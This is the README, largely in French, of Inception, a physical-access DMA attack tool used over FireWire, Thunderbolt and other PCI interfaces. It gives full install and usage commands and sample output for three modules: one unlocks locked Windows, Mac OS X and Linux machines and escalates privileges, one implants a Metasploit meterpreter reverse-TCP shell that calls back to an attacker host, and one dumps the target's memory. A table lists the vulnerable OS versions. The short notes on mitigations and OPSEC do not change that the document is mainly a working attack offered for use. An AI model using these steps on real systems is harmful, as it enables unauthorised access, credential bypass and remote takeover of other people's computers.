
Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.
Note : Cet outil n'est plus en développement actif, veuillez consulter PCILeech à la place.
Inception est un outil de manipulation et de piratage de la mémoire physique exploitant le DMA basé sur PCI. L'outil peut attaquer via FireWire, Thunderbolt, ExpressCard, PC Card et toute autre interface PCI/PCIe HW.
Inception vise à fournir un moyen relativement rapide, stable, simple et extensible de réaliser des piratages mémoire intrusifs et non intrusifs sur des ordinateurs en direct utilisant le DMA.
Les modules d'Inception fonctionnent comme suit : en présentant un répertoire d'unité Serial Bus Protocol 2 (SBP-2) à la machine victime via une interface IEEE1394 FireWire, le système d'exploitation victime pense qu'un périphérique SBP-2 s'est connecté au port FireWire. Étant donné que les périphériques SBP-2 utilisent l'accès direct à la mémoire (DMA) pour des transferts de données volumineux et rapides (par exemple, disques durs FireWire et caméscopes numériques), la victime abaisse ses défenses et active le DMA pour le périphérique. L'outil a désormais un accès complet en lecture/écriture aux 4 Go inférieurs de la RAM de la victime.
Une fois le DMA accordé, l'outil parcourt les pages mémoire disponibles à la recherche de signatures à certains offsets dans le code du système d'exploitation. Une fois trouvées, l'outil manipule ce code. Par exemple, dans le module unlock, l'outil court-circuite le module d'authentification par mot de passe du système d'exploitation qui est déclenché si un mot de passe incorrect est saisi.
Après avoir exécuté ce module, vous devriez pouvoir vous connecter à la machine victime en utilisant n'importe quel mot de passe.
Une analogie pour cette opération est de planter une idée dans la mémoire de la machine : l'idée que chaque mot de passe est correct. En d'autres termes, l'équivalent d'une [inception mémoire] 1.
Inception est gratuit comme une bière et c'est un projet personnel.
Les experts en criminalistique, les gouvernements et les agences à acronymes de trois lettres utilisent déjà [des outils similaires] 2. Donc si vous êtes un dissident ou si vous faites face à un régime oppressif, cet outil illustre pourquoi la SÉCURITÉ OPÉRATIONNELLE (OPSEC) est importante. Ne laissez jamais votre ordinateur portable hors de vue.
[OS X > 10.7.2] 6 et [Windows > 8.1] 7 désactivent le DMA FireWire lorsque l'utilisateur a verrouillé le système d'exploitation et empêchent ainsi inception. L'outil fonctionnera toujours tant qu'un utilisateur est connecté. Cependant, c'est un scénario d'attaque moins probable dans la réalité.
De plus, [OS X Mavericks > 10.8.2 sur Ivy Bridge (>= Macs 2012)] 8 ont activé VT-D, bloquant efficacement les requêtes DMA et contrecarrant tous les modules inception même lorsque l'utilisateur est connecté. Recherchez les entrées vtd[0] fault dans votre journal/console.
Bien que ces deux mises en garde réduiront progressivement le nombre de scénarios où cet outil est utile, en mars 2015, [70 % des machines sont encore vulnérables] 9.
L'outil utilise la bibliothèque libforensic1394 gracieusement fournie par Freddie Witherden sous licence LGPL.
Inception nécessite :
Linux est actuellement recommandé côté attaquant en raison des interfaces FireWire boguées sur OS X. Notez que la connexion directe ThunderBolt à ThunderBolt ne fonctionne pas, vous avez besoin d'un adaptateur FireWire. Les résultats peuvent varier si vous tentez d'utiliser Thunderbolt sous Linux.
Sur les distributions basées sur Debian, les commandes d'installation peuvent être résumées comme suit (appliquez sudo si nécessaire si vous n'êtes pas root) :
apt-get install git cmake g++ python3 python3-pip
Sur OS X, vous pouvez installer les prérequis de l'outil avec [homebrew] 4 :
brew install git cmake python3
Après avoir installé les prérequis, téléchargez et installez libforensic1394 :
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
Le script d'installation devrait pouvoir installer les dépendances si vous avez pip installé.
Tapez simplement :
incept [nom du module]
Pour une description plus complète et à jour, veuillez exécuter :
incept -h
ou consultez la [page d'accueil de l'outil] 5.
Depuis la version 0.4.0, Inception a été modularisé. Les modules actuels et leurs fonctionnalités sont décrits ci-dessous.
Pour des options détaillées sur l'utilisation, exécutez :
incept [nom du module] -h
Le module unlock peut déverrouiller (n'importe quel mot de passe accepté) et élever les privilèges en Administrateur/root sur presque* toute machine allumée à laquelle vous avez un accès physique. Le module est principalement conçu pour faire ses miracles sur les ordinateurs qui utilisent le chiffrement complet du disque tel que BitLocker, FileVault, TrueCrypt ou Pointsec. Il existe de nombreuses autres (et meilleures) façons de pirater une machine qui n'utilise pas le chiffrement.
Le module unlock est stable sur les machines disposant de 4 Gio de mémoire principale ou moins. Si votre cible en a plus, vous devez avoir de la chance pour trouver les signatures mappées sur une trame de page mémoire physique que l'outil peut atteindre.
Dans cette version, il peut déverrouiller les systèmes d'exploitation x86 et x64 suivants :
(1) : Voir les mises en garde ci-dessus.
D'autres distributions Linux utilisant l'authentification basée sur PAM peuvent également fonctionner avec les signatures Ubuntu.
Le module permet également une élévation de privilèges efficace, par exemple via les commandes runas ou sudo -s, respectivement.
Pour déverrouiller, tapez simplement :
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Le module implant implante une charge utile Metasploit (uniquement en mémoire) directement dans la mémoire volatile de la machine cible. Il s'intègre avec MSF via le démon msfrpcd inclus dans toutes les versions de Metasploit.
La version actuelle ne fonctionne qu'à titre de preuve de concept sur Windows 7 SP1 x86. Aucun autre OS, version ou architecture n'est supporté, et il n'y a aucune garantie qu'ils le seront à l'avenir.
Pour l'utiliser, démarrez msfrpcd :
msfrpcd -P [mot de passe]
Lancez ensuite inception dans un autre terminal :
incept implant --msfpw [mot de passe] --msfopts [options]
Par exemple, pour créer un shell meterpreter reverse TCP de la machine cible vers votre machine attaquante, démarrez d'abord le démon msfrpcd, puis lancez une console à l'écoute des rappels.
msfrpcd -P password
msfconsole
Dans la console, nous configurons l'extrémité de réception de la charge utile. Nous définissons l'option EXITFUNC sur thread pour garantir que le processus cible reste en vie si quelque chose tourne mal :
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
Ensuite, dans un autre terminal, nous lançons Inception :
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Dans votre console MSF, vous devriez voir quelque chose comme ceci :
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Le module dump facilite la vidange de la mémoire de la cible vers la machine attaquante.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Veuillez consulter les commentaires en haut et la [page d'accueil de l'outil] 5.
Veuillez consulter la [page d'accueil de l'outil] 5.
Ne faites pas le mal avec cet outil. Aussi, je suis un pentester, pas un développeur. Donc si vous voyez du code bizarre qui dérange vos sens de pureté pythonique, envoyez-moi un message sur comment je peux l'améliorer. Ou mieux encore, forkez mon code, modifiez-le et soumettez une pull request.
| OS | Version | Déverrouiller écran verrouillé | Élever les privilèges |
|---|
| Windows 8 | 8.1 | Oui (1) | Oui (1) |
| Windows 8 | 8.0 | Oui | Oui |
| Windows 7 | SP1 | Oui | Oui |
| Windows 7 | SP0 | Oui | Oui |
| Windows Vista | SP2 | Oui | Oui |
| Windows Vista | SP1 | Oui | Oui |
| Windows Vista | SP0 | Oui | Oui |
| Windows XP | SP3 | Oui | Oui |
| Windows XP | SP2 | Oui | Oui |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Oui (1) | Oui (1) |
| Mac OS X | Mountain Lion | Oui (1) | Oui (1) |
| Mac OS X | Lion | Oui (1) | Oui (1) |
| Mac OS X | Snow Leopard | Oui | Oui |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Oui | Oui |
| Ubuntu | Raring | Oui | Oui |
| Ubuntu | Quantal | Oui | Oui |
| Ubuntu | Precise | Oui | Oui |
| Ubuntu | Oneiric | Oui | Oui |
| Ubuntu | Natty | Oui | Oui |
| Linux Mint | 13 | Oui | Oui |
| Linux Mint | 12 | Oui | Oui |
| Linux Mint | 12 | Oui | Oui |